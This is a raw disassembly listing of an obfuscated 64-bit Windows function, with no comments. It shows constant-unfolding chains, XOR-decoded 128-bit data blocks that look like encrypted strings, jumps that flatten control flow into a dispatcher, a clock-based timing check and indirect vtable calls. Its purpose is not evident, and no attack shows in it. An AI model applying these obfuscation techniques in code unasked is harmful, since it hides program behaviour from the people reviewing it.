rep stosb byte [rdi], al
lea rax, [rsp + 0xab]
mov rdi, rax
xor eax, eax
mov ecx, 0x459701d9
pushf
not ecx
add ecx, 0xac764057
xor ecx, 0x9727efef
rol ecx, 0x19
popf
pushf
not ecx
add ecx, 0xc251dcae
xor ecx, 0xa6a71d42
rol ecx, 0xd5
popf
pushf
not ecx
add ecx, 0xb0f99c3d
xor ecx, 0xe7fa42de
rol ecx, 0xd
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x300], al
movzx eax, byte [rsp + 0xab]
mov byte [rsp + 0x308], al
movabs rax, 0xb1249872c42482a4
pushf
not rax
add rax, 0x7c15d0bd
xor rax, 0x4c10d099
rol rax, 0x68
popf
pushf
not rax
add rax, 0x42775fea
xor rax, 0x518c313a
rol rax, 0x35
popf
mov qword [rsp + 0x850], rax
movabs rax, 0x82b22cd20f2cb373
pushf
not rax
add rax, 0x4e5eefff
xor rax, 0x72230006
rol rax, 0x8f
popf
pushf
not rax
add rax, 0x51859960
xor rax, 0x70cf37b9
rol rax, 0x6e
popf
pushf
not rax
add rax, 0x75b6a483
xor rax, 0x4807b632
rol rax, 0x4e
popf
mov qword [rsp + 0x858], rax
movabs rax, 0x8efe16e34ec83a4
pushf
not rax
add rax, 0x56e6eb48
xor rax, 0x5b868dd2
rol rax, 7
popf
pushf
not rax
add rax, 0x4dc575b7
xor rax, 0x7ae94eab
rol rax, 0x19
popf
pushf
not rax
add rax, 0x5c35ca2e
xor rax, 0x413f9754
rol rax, 0x1c
popf
mov qword [rsp + 0x860], rax
movabs rax, 0xb8ebc713149d304
pushf
not rax
add rax, 0x52ebef0c
xor rax, 0x5d210bcb
rol rax, 0xef
popf
pushf
not rax
add rax, 0x79b58241
xor rax, 0x52bf45ea
rol rax, 0x67
popf
pushf
not rax
add rax, 0x7996b679
xor rax, 0x746ed9bc
rol rax, 0x9b
popf
mov qword [rsp + 0x868], rax
movabs rax, 0xcbc682e96a42386b
pushf
not rax
add rax, 0x5e1bc493
xor rax, 0x5ecd36fc
rol rax, 0xf0
popf
pushf
not rax
add rax, 0x72aa78f5
xor rax, 0x697f1a5a
rol rax, 0xfb
popf
mov qword [rsp + 0x870], rax
movabs rax, 0xe40e4fb382edfad8
pushf
not rax
add rax, 0x41a0d10b
xor rax, 0x5856d095
rol rax, 0xe
popf
pushf
not rax
add rax, 0x64f9a131
xor rax, 0x6f63e63d
rol rax, 0x9c
popf
pushf
not rax
add rax, 0x4f9a3ed4
xor rax, 0x66ae2273
rol rax, 0xd2
popf
mov qword [rsp + 0x878], rax
movabs rax, 0xf8c885a01d676e0
pushf
not rax
add rax, 0x4c6f0e7c
xor rax, 0x7fd72ba5
rol rax, 0x21
popf
pushf
not rax
add rax, 0x597e7ce4
xor rax, 0x4478e84f
rol rax, 0xff
popf
pushf
not rax
add rax, 0x522243bc
xor rax, 0x6a497c8b
rol rax, 0xe0
popf
mov qword [rsp + 0xb40], rax
movabs rax, 0x2a33e73213f9c16a
pushf
not rax
add rax, 0x4c629bf4
xor rax, 0x49bedcda
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x6adf3c44
xor rax, 0x4a4fe409
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x6df6d1d0
xor rax, 0x70f8c5cc
rol rax, 0x9a
popf
mov qword [rsp + 0xb48], rax
movabs rax, 0xf55218db6b5dbd80
pushf
not rax
add rax, 0x5c676264
xor rax, 0x7d24bdb8
rol rax, 0x51
popf
pushf
not rax
add rax, 0x75d52a41
xor rax, 0x61df75b9
rol rax, 0x2b
popf
pushf
not rax
add rax, 0x48c049c6
xor rax, 0x72b3229e
rol rax, 0x56
popf
pushf
not rax
add rax, 0x758c0bef
xor rax, 0x7af41740
rol rax, 0xf1
popf
mov qword [rsp + 0xb50], rax
movabs rax, 0xe62b8df910eee224
pushf
not rax
add rax, 0x7b1ba1e1
xor rax, 0x4b1a45ac
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x4c6dbf06
xor rax, 0x6e13ecbd
rol rax, 0xad
popf
pushf
not rax
add rax, 0x769f5b54
xor rax, 0x6b370e8d
rol rax, 0xdf
popf
pushf
not rax
add rax, 0x7e05df87
xor rax, 0x7862b74e
rol rax, 0x1f
popf
mov qword [rsp + 0xb58], rax
movabs rax, 0x15c688fe54b8b21e
pushf
not rax
add rax, 0x73f55a72
xor rax, 0x5c14280a
rol rax, 0
popf
pushf
not rax
add rax, 0x63a81ef5
xor rax, 0x76c04737
rol rax, 0x54
popf
pushf
not rax
add rax, 0x4b428162
xor rax, 0x53530df1
rol rax, 0xa8
popf
mov qword [rsp + 0xb60], rax
movabs rax, 0x3be555cde4f082ac
pushf
not rax
add rax, 0x70de3273
xor rax, 0x510edf04
rol rax, 0xe9
popf
pushf
not rax
add rax, 0x53e75e70
xor rax, 0x6133121a
rol rax, 0x99
popf
mov qword [rsp + 0xb68], rax
lea rax, [rsp + 0xac]
mov rdi, rax
xor eax, eax
mov ecx, 0xbedfaa97
pushf
not ecx
add ecx, 0xbab627e8
xor ecx, 0xa0e8129f
rol ecx, 0xb9
popf
pushf
not ecx
add ecx, 0xc18cadc7
xor ecx, 0xdfb6a7ed
rol ecx, 0x1e
popf
pushf
not ecx
add ecx, 0xbd15185e
xor ecx, 0xfdbcf28b
rol ecx, 0x9c
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x310], al
movdqa xmm0, xmmword [rsp + 0xb40]
movdqa xmmword [rsp + 0x1230], xmm0
movdqa xmm0, xmmword [rsp + 0x850]
movdqa xmmword [rsp + 0x1220], xmm0
movdqa xmm0, xmmword [rsp + 0x1220]
pxor xmm0, xmmword [rsp + 0x1230]
movdqa xmmword [rsp + 0x1240], xmm0
movdqa xmm0, xmmword [rsp + 0x1240]
movdqa xmmword [rsp + 0x850], xmm0
lea rax, [rsp + 0x860]
mov qword [rsp + 0x4b0], rax
lea rax, [rsp + 0xb50]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1260], xmm0
mov rax, qword [rsp + 0x4b0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1250], xmm0
movdqa xmm0, xmmword [rsp + 0x1250]
pxor xmm0, xmmword [rsp + 0x1260]
movdqa xmmword [rsp + 0x1270], xmm0
mov rax, qword [rsp + 0x4b0]
movdqa xmm0, xmmword [rsp + 0x1270]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x870]
mov qword [rsp + 0x4b8], rax
lea rax, [rsp + 0xb60]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1290], xmm0
mov rax, qword [rsp + 0x4b8]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1280], xmm0
movdqa xmm0, xmmword [rsp + 0x1280]
pxor xmm0, xmmword [rsp + 0x1290]
movdqa xmmword [rsp + 0x12a0], xmm0
mov rax, qword [rsp + 0x4b8]
movdqa xmm0, xmmword [rsp + 0x12a0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x850]
mov rcx, rax
call fcn.1401a5d17
movss xmm0, dword [0x140118010]
movss dword [rsp + 0x4c0], xmm0
movss xmm0, dword [0x14011803c]
movss dword [rsp + 0x4c4], xmm0
lea rcx, [rsp + 0x4c0]
call fcn.140164f74
lea rax, [rsp + 0xad]
mov rdi, rax
xor eax, eax
mov ecx, 0x5129cab3
pushf
not ecx
add ecx, 0xf5c266c5
xor ecx, 0x82815cf4
rol ecx, 0xfe
popf
pushf
not ecx
add ecx, 0xe009c0f4
xor ecx, 0x968250ba
rol ecx, 0xd0
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0xae]
mov rdi, rax
xor eax, eax
mov ecx, 0x9f282e78
pushf
not ecx
add ecx, 0xe77d3b94
xor ecx, 0xf8715c69
rol ecx, 0xa6
popf
pushf
not ecx
add ecx, 0x931f3146
xor ecx, 0xf0996126
rol ecx, 0x32
popf
pushf
not ecx
add ecx, 0xa1f7c993
xor ecx, 0xec2a26a5
rol ecx, 0xcb
popf
pushf
not ecx
add ecx, 0x84b43b03
xor ecx, 0xe4e731cc
rol ecx, 0xef
popf
rep stosb byte [rdi], al
movss xmm0, dword [0x140118044]
movss dword [rsp + 0x4c8], xmm0
movss xmm0, dword [0x140118014]
movss dword [rsp + 0x4cc], xmm0
lea rax, [rsp + 0x4c8]
mov qword [rsp + 0x650], rax
movzx eax, byte [rsp + 0xad]
mov byte [rsp + 0x318], al
movzx eax, byte [rsp + 0xae]
mov byte [rsp + 0x320], al
movabs rax, 0x2ea4b411537fac2a
pushf
not rax
add rax, 0x468eb57a
xor rax, 0x62f69c75
rol rax, 0xe
popf
pushf
not rax
add rax, 0x67f476b8
xor rax, 0x41033a18
rol rax, 0xb7
popf
mov qword [rsp + 0x5e0], rax
movabs rax, 0x9f42e2746d5021fd
pushf
not rax
add rax, 0x50cdf401
xor rax, 0x5c03a767
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x57a1f5f0
xor rax, 0x50c698cf
rol rax, 0xb1
popf
pushf
not rax
add rax, 0x5005f6d5
xor rax, 0x770b4133
rol rax, 0x8c
popf
mov qword [rsp + 0x5e8], rax
movabs rax, 0x764f71135ea69f5
pushf
not rax
add rax, 0x72cb8e9a
xor rax, 0x5d0347b8
rol rax, 1
popf
pushf
not rax
add rax, 0x5f8e7865
xor rax, 0x7b9abd65
rol rax, 0x57
popf
pushf
not rax
add rax, 0x6188eea0
xor rax, 0x4190a4fb
rol rax, 0x52
popf
mov qword [rsp + 0x980], rax
movabs rax, 0x211f4d61a182353d
pushf
not rax
add rax, 0x6f1280d0
xor rax, 0x4c4e2014
rol rax, 0xc8
popf
pushf
not rax
add rax, 0x650fe07a
xor rax, 0x44bf5281
rol rax, 0xcb
popf
pushf
not rax
add rax, 0x75be075f
xor rax, 0x53eeace5
rol rax, 0x14
popf
mov qword [rsp + 0x988], rax
lea rax, [rsp + 0xaf]
mov rdi, rax
xor eax, eax
mov ecx, 0xe0d3c8f7
pushf
not ecx
add ecx, 0xb3d5bcc1
xor ecx, 0xcfe6e579
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0x9361dc63
xor ecx, 0xf465017c
rol ecx, 0xee
popf
pushf
not ecx
add ecx, 0xfc1fd44b
xor ecx, 0xcf66a4cc
rol ecx, 0xa5
popf
pushf
not ecx
add ecx, 0x9e112f29
xor ecx, 0xa88cc7de
rol ecx, 0x81
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xaf]
mov byte [rsp + 0x328], al
movdqa xmm0, xmmword [rsp + 0x980]
movdqa xmmword [rsp + 0x12c0], xmm0
movdqa xmm0, xmmword [rsp + 0x5e0]
movdqa xmmword [rsp + 0x12b0], xmm0
movdqa xmm0, xmmword [rsp + 0x12b0]
pxor xmm0, xmmword [rsp + 0x12c0]
movdqa xmmword [rsp + 0x12d0], xmm0
movdqa xmm0, xmmword [rsp + 0x12d0]
movdqa xmmword [rsp + 0x5e0], xmm0
lea rax, [rsp + 0x5e0]
mov qword [rsp + 0x658], rax
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rsp + 0x658]
call fcn.1401a2005
movzx eax, al
test eax, eax
je 0x1403ecc7f
push rax
pushf
mov eax, 0x77fcab79
pushf
not eax
add eax, 0xb979c760
xor eax, 0xe31b0f7b
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xee4ef343
xor eax, 0xd957ce73
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xbda99eca
xor eax, 0x905c537c
rol eax, 0x5f
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xe4dbeef7
pushf
not eax
add eax, 0x892fb466
xor eax, 0xbaee9324
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xf72c01c3
xor eax, 0xdefbe73b
rol eax, 0x85
popf
pushf
not eax
add eax, 0x99d367bc
xor eax, 0x986cc10f
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xeb87281c
xor eax, 0x86502ff5
rol eax, 0x19
popf
jmp 0x1403e32c1
movzx eax, byte [0x140140a11]
test eax, eax
je 0x1403ecd1a
push rax
pushf
mov eax, 0xa80be126
pushf
not eax
add eax, 0x811781d3
xor eax, 0x9dbf7390
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xe34c00b9
xor eax, 0xf2395f6c
rol eax, 0x57
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xb10ea384
pushf
not eax
add eax, 0x8f82a92b
xor eax, 0xb93ec78a
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xbbd490b1
xor eax, 0xb0ca10c4
rol eax, 0xef
popf
pushf
not eax
add eax, 0xbe87b01d
xor eax, 0x979fbad8
rol eax, 0xe0
popf
jmp 0x1403e32c1
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0xee0efe70
pushf
not ecx
add ecx, 0xe1b03894
xor ecx, 0x8639319b
rol ecx, 6
popf
pushf
not ecx
add ecx, 0xdf894e30
xor ecx, 0xc58f3c0b
rol ecx, 0x90
popf
pushf
not ecx
add ecx, 0xe737b36d
xor ecx, 0x893d4dfd
rol ecx, 0x32
popf
pushf
not ecx
add ecx, 0x8e442578
xor ecx, 0xa3cc1cd5
rol ecx, 0xfb
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0xb1]
mov rdi, rax
xor eax, eax
mov ecx, 0xc5d8361d
pushf
not ecx
add ecx, 0xec4c2c0b
xor ecx, 0xf17ea16e
rol ecx, 0xab
popf
pushf
not ecx
add ecx, 0x841a52fb
xor ecx, 0xa31172f3
rol ecx, 0x60
popf
pushf
not ecx
add ecx, 0xb9712a48
xor ecx, 0xff09e3b6
rol ecx, 0xfb
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x330], al
movzx eax, byte [rsp + 0xb1]
mov byte [rsp + 0x338], al
movabs rax, 0x34f92a8226f2f166
pushf
not rax
add rax, 0x4cf3b34d
xor rax, 0x446d6dd5
rol rax, 0x75
popf
pushf
not rax
add rax, 0x5c096ae2
xor rax, 0x7c1ef119
rol rax, 0
popf
mov qword [rsp + 0x770], rax
movabs rax, 0x7d4d83010145ddbc
pushf
not rax
add rax, 0x5cd2a402
xor rax, 0x63ed6c0e
rol rax, 0xaa
popf
pushf
not rax
add rax, 0x4177f031
xor rax, 0x6263af7e
rol rax, 0x1c
popf
pushf
not rax
add rax, 0x6c47bbc8
xor rax, 0x59d43130
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x4ee40d91
xor rax, 0x4367ad1e
rol rax, 0x17
popf
mov qword [rsp + 0x778], rax
movabs rax, 0x9b01c9e05a2285de
pushf
not rax
add rax, 0x7582db17
xor rax, 0x5ece445c
rol rax, 0xff
popf
pushf
not rax
add rax, 0x754a03d8
xor rax, 0x45783ba4
rol rax, 0xba
popf
pushf
not rax
add rax, 0x5cc78f42
xor rax, 0x6fdac7a6
rol rax, 0xda
popf
mov qword [rsp + 0x780], rax
movabs rax, 0xc6f6781fb14d21b
pushf
not rax
add rax, 0x7ba799d0
xor rax, 0x715cf942
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x404b3e77
xor rax, 0x7464edff
rol rax, 0xd8
popf
pushf
not rax
add rax, 0x4ef535bc
xor rax, 0x6b79cf61
rol rax, 0x24
popf
mov qword [rsp + 0x788], rax
movabs rax, 0xfd8896aa5a3f5540
pushf
not rax
add rax, 0x74437967
xor rax, 0x569bee58
rol rax, 1
popf
pushf
not rax
add rax, 0x43fb0666
xor rax, 0x45b4a711
rol rax, 0xb2
popf
mov qword [rsp + 0xa10], rax
movabs rax, 0x7a1248801e50173c
pushf
not rax
add rax, 0x5f6d11d7
xor rax, 0x65f68aff
rol rax, 0x92
popf
pushf
not rax
add rax, 0x7556b1be
xor rax, 0x54263793
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x679f085a
xor rax, 0x5899c9c5
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x50cb1962
xor rax, 0x56bf624f
rol rax, 0xf7
popf
mov qword [rsp + 0xa18], rax
movabs rax, 0xe7699e305b1afc13
pushf
not rax
add rax, 0x549f36ec
xor rax, 0x50b83dbd
rol rax, 0x48
popf
pushf
not rax
add rax, 0x7a361438
xor rax, 0x5aedbc88
rol rax, 0x21
popf
pushf
not rax
add rax, 0x5340a56a
xor rax, 0x4cf82045
rol rax, 0x83
popf
mov qword [rsp + 0xa20], rax
movabs rax, 0xe3bd0ade76f65269
pushf
not rax
add rax, 0x4aebc544
xor rax, 0x7d72cf95
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x4622b1c4
xor rax, 0x55309248
rol rax, 0x6c
popf
pushf
not rax
add rax, 0x52f3b85d
xor rax, 0x61586640
rol rax, 0x61
popf
pushf
not rax
add rax, 0x70c2e8a8
xor rax, 0x4ea81a84
rol rax, 0xa0
popf
mov qword [rsp + 0xa28], rax
lea rax, [rsp + 0xb2]
mov rdi, rax
xor eax, eax
mov ecx, 0xb8bd4250
pushf
not ecx
add ecx, 0xdd303ba0
xor ecx, 0xce68b685
rol ecx, 3
popf
pushf
not ecx
add ecx, 0xd922a4b2
xor ecx, 0xec89b902
rol ecx, 0xbc
popf
pushf
not ecx
add ecx, 0xac5ac8cb
xor ecx, 0xd94a7444
rol ecx, 0x4a
popf
pushf
not ecx
add ecx, 0xecdef78d
xor ecx, 0xcf75af8f
rol ecx, 0xb0
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x340], al
movdqa xmm0, xmmword [rsp + 0xa10]
movdqa xmmword [rsp + 0x12f0], xmm0
movdqa xmm0, xmmword [rsp + 0x770]
movdqa xmmword [rsp + 0x12e0], xmm0
movdqa xmm0, xmmword [rsp + 0x12e0]
pxor xmm0, xmmword [rsp + 0x12f0]
movdqa xmmword [rsp + 0x1300], xmm0
movdqa xmm0, xmmword [rsp + 0x1300]
movdqa xmmword [rsp + 0x770], xmm0
lea rax, [rsp + 0x780]
mov qword [rsp + 0x4d0], rax
lea rax, [rsp + 0xa20]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1320], xmm0
mov rax, qword [rsp + 0x4d0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1310], xmm0
movdqa xmm0, xmmword [rsp + 0x1310]
pxor xmm0, xmmword [rsp + 0x1320]
movdqa xmmword [rsp + 0x1330], xmm0
mov rax, qword [rsp + 0x4d0]
movdqa xmm0, xmmword [rsp + 0x1330]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x770]
mov rcx, rax
call fcn.14028e65d
mov rcx, qword [0x1401408e8]
call fcn.14027adc2
mov byte [rsp + 0x60], 1
mov byte [0x1401409b0], 0
jmp 0x1403ed2d2
xor ecx, ecx
jmp 0x1403ed299
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push rax
pushf
mov eax, 0xaf37209c
pushf
not eax
add eax, 0x92536c59
xor eax, 0xdd0e1bde
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xc577acaf
xor eax, 0x8d2eb465
rol eax, 0xca
popf
jmp 0x1403e32c1
jmp 0x1403ed52f
movzx eax, byte [0x140140a11]
test eax, eax
je 0x1403ed52f
jmp 0x1403ed340
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
sub eax, dword [rsp + 0x368]
cdq
mov ecx, 0x2aaf0cff
pushf
not ecx
add ecx, 0xc12394bb
xor ecx, 0xbe1c996b
rol ecx, 0xfe
popf
pushf
not ecx
add ecx, 0xc7954737
xor ecx, 0x944831d9
rol ecx, 0x54
popf
pushf
not ecx
add ecx, 0xfc71f6e3
xor ecx, 0xd1ea6002
rol ecx, 0x2f
popf
pushf
not ecx
add ecx, 0xda902f72
xor ecx, 0xb0b7cbc4
rol ecx, 8
popf
idiv ecx
cmp eax, 7
jl 0x1403ed3e1
push rax
pushf
mov eax, 0xea86be76
pushf
not eax
add eax, 0xacd52077
xor eax, 0xea46173b
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x80eaf854
xor eax, 0xe0cac367
rol eax, 0xb4
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xac7f9f58
pushf
not eax
add eax, 0xf59901c1
xor eax, 0xf079c471
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xd2d0ce7f
xor eax, 0x900a859b
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xc5d5d474
xor eax, 0xc035eab8
rol eax, 0x90
popf
jmp 0x1403e32c1
movzx eax, byte [0x140140a11]
test eax, eax
je 0x1403ed48b
push rax
pushf
mov eax, 0xd72b0264
pushf
not eax
add eax, 0xd1af3b72
xor eax, 0xa1fae5d3
rol eax, 0x11
popf
pushf
not eax
add eax, 0xcb5c4bb1
xor eax, 0xafab6af1
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xa85087d2
xor eax, 0xc4f6ae58
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xcc6e59b7
xor eax, 0xf18bd27f
rol eax, 0x1c
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x751c0f9a
pushf
not eax
add eax, 0xc1d4f213
xor eax, 0x86d70575
rol eax, 0x49
popf
pushf
not eax
add eax, 0xe22aec82
xor eax, 0xd5b26ef1
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xbf5c0f0d
xor eax, 0x85ae3190
rol eax, 0x15
popf
jmp 0x1403e32c1
mov rcx, qword [0x1401408e8]
call fcn.14027adc2
mov byte [rsp + 0x60], 1
mov byte [0x1401409b0], 0
push rax
pushf
mov eax, 0xc96055b6
pushf
not eax
add eax, 0xbc5f89b4
xor eax, 0xf447bee0
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xc7dce986
xor eax, 0xd7be7ebd
rol eax, 0xac
popf
pushf
not eax
add eax, 0xb4b8e51f
xor eax, 0xa930b001
rol eax, 0x64
popf
jmp 0x1403e32c1
call fcn.14029d4f7
call fcn.14034e2f1
push rax
pushf
mov eax, 0xc8cf78da
pushf
not eax
add eax, 0xae70fd8e
xor eax, 0xb1cde155
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc8a0949b
xor eax, 0x9c160044
rol eax, 0x57
popf
pushf
not eax
add eax, 0xe4e6b410
xor eax, 0x821abbf6
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xab8933d9
xor eax, 0xf5888172
rol eax, 0x6a
popf
jmp 0x1403e32c1
call fcn.14031c307
call fcn.14033488e
mov rax, qword [0x140140880]
mov rax, qword [rax]
mov rax, qword [rax + 0x108]
mov qword [rsp + 0x660], rax
xor r9d, r9d
lea r8, [0x1be3756b1]
pushf
sub r8, 0x7e234e21
popf
mov edx, 0xcbe2e3d6
pushf
not edx
add edx, 0x9275a5ce
xor edx, 0xed14dd7d
rol edx, 0x81
popf
pushf
not edx
add edx, 0xc451e12e
xor edx, 0x900e387c
rol edx, 0x76
popf
pushf
not edx
add edx, 0xda2950a3
xor edx, 0xc0e9fdbe
rol edx, 0xaa
popf
mov rcx, qword [0x140140880]
jmp 0x1403ed616
call qword [rsp + 0x660]
xorps xmm0, xmm0
movss dword [rsp + 0x5f0], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x5f4], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x5f8], xmm0
xorps xmm0, xmm0
movss dword [rsp + 0x5fc], xmm0
mov rax, qword [0x140140880]
mov rax, qword [rax]
mov rax, qword [rax + 0x190]
mov qword [rsp + 0x668], rax
lea r8, [rsp + 0x5f0]
mov rdx, qword [0x140140890]
mov rcx, qword [0x140140880]
jmp 0x1403ed67d
call qword [rsp + 0x668]
call fcn.140327c48
mov rcx, rax
call fcn.1403becb7
mov rax, qword [0x140140888]
mov rax, qword [rax]
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x670], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140140888]
jmp 0x1403ed6b4
call qword [rsp + 0x670]
cmp dword [0x140140a14], 4
jge 0x1403ed71d
push rax
pushf
mov eax, 0xe3b6ac86
pushf
not eax
add eax, 0x99b494e9
xor eax, 0x8df9a20f
rol eax, 0x26
popf
pushf
not eax
add eax, 0x9757d295
xor eax, 0xeb04eb6d
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x984130de
xor eax, 0x92cc920b
rol eax, 0x64
popf
pushf
not eax
add eax, 0x8698e602
xor eax, 0xfe856f9a
rol eax, 0x93
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0xba89047b
pushf
not eax
add eax, 0xe53895a8
xor eax, 0xccb5d186
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xcbf98bc2
xor eax, 0xb79531d3
rol eax, 0xae
popf
pushf
not eax
add eax, 0xf820fb10
xor eax, 0xccf416f5
rol eax, 0x44
popf
jmp 0x1403e32c1
mov eax, dword [0x140140a14]
jmp 0x1403ed76a
inc eax
mov dword [0x140140a14], eax
push rax
pushf
mov eax, 0x36e12d16
pushf
not eax
add eax, 0x8e345b39
xor eax, 0xc013b4cd
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xb05ba51e
xor eax, 0xd71a0e74
rol eax, 8
popf
pushf
not eax
add eax, 0xa555d595
xor eax, 0x99493541
rol eax, 0x27
popf
pushf
not eax
add eax, 0xb6134f95
xor eax, 0xb8c756dc
rol eax, 7
popf
jmp 0x1403e32c1
jmp 0x1403e3fd2
cmp dword [rsp + 0xa38], 0
je 0x1403ed879
push rax
pushf
mov eax, 0xad3a8c50
pushf
not eax
add eax, 0x9d728693
xor eax, 0xb8077520
rol eax, 0x94
popf
pushf
not eax
add eax, 0x982c03f8
xor eax, 0x82a86a39
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xf3a05d0b
xor eax, 0xbe183132
rol eax, 0xa1
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x1b7b4b62
pushf
not eax
add eax, 0xaa5ca962
xor eax, 0xf8c1aa72
rol eax, 0x61
popf
pushf
not eax
add eax, 0x8ddec6e3
xor eax, 0xa084d7c8
rol eax, 0xe
popf
jmp 0x1403e32c1
mov dword [rsp + 0x34c], 1
jmp 0x1403ed953
mov dword [rsp + 0x34c], 0
push rax
pushf
mov eax, 0x62661989
pushf
not eax
add eax, 0xb88dd9da
xor eax, 0xf2021179
rol eax, 0x28
popf
pushf
not eax
add eax, 0xca77d324
xor eax, 0xccef8e05
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x81cf8063
xor eax, 0xe7bd2744
rol eax, 0x7a
popf
jmp 0x1403e32c1
movzx eax, byte [rsp + 0x34c]
test eax, eax
je 0x1403ed9b8
push rax
pushf
mov eax, 0x3524122a
pushf
not eax
add eax, 0xee0f5379
xor eax, 0xc5702e65
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xec2dddd9
xor eax, 0xc366f5f5
rol eax, 0x61
popf
pushf
not eax
add eax, 0xb1b101b6
xor eax, 0xb0ec6af1
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x96ef35f3
xor eax, 0xdd89e652
rol eax, 0x5f
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x427dc405
pushf
not eax
add eax, 0xa7656415
xor eax, 0x8cbe84c8
rol eax, 0x24
popf
pushf
not eax
add eax, 0xc51f9ad5
xor eax, 0xad8d4e56
rol eax, 0xc7
popf
jmp 0x1403e32c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push rax
pushf
mov eax, 0x10d2c638
pushf
not eax
add eax, 0xbb8a7cdd
xor eax, 0xd5c9c216
rol eax, 0x95
popf
pushf
not eax
add eax, 0xdad2a8de
xor eax, 0xc482b92b
rol eax, 0xe1
popf
jmp 0x1403e32c1
add rsp, 0x1b08
pop rdi
pop rsi
ret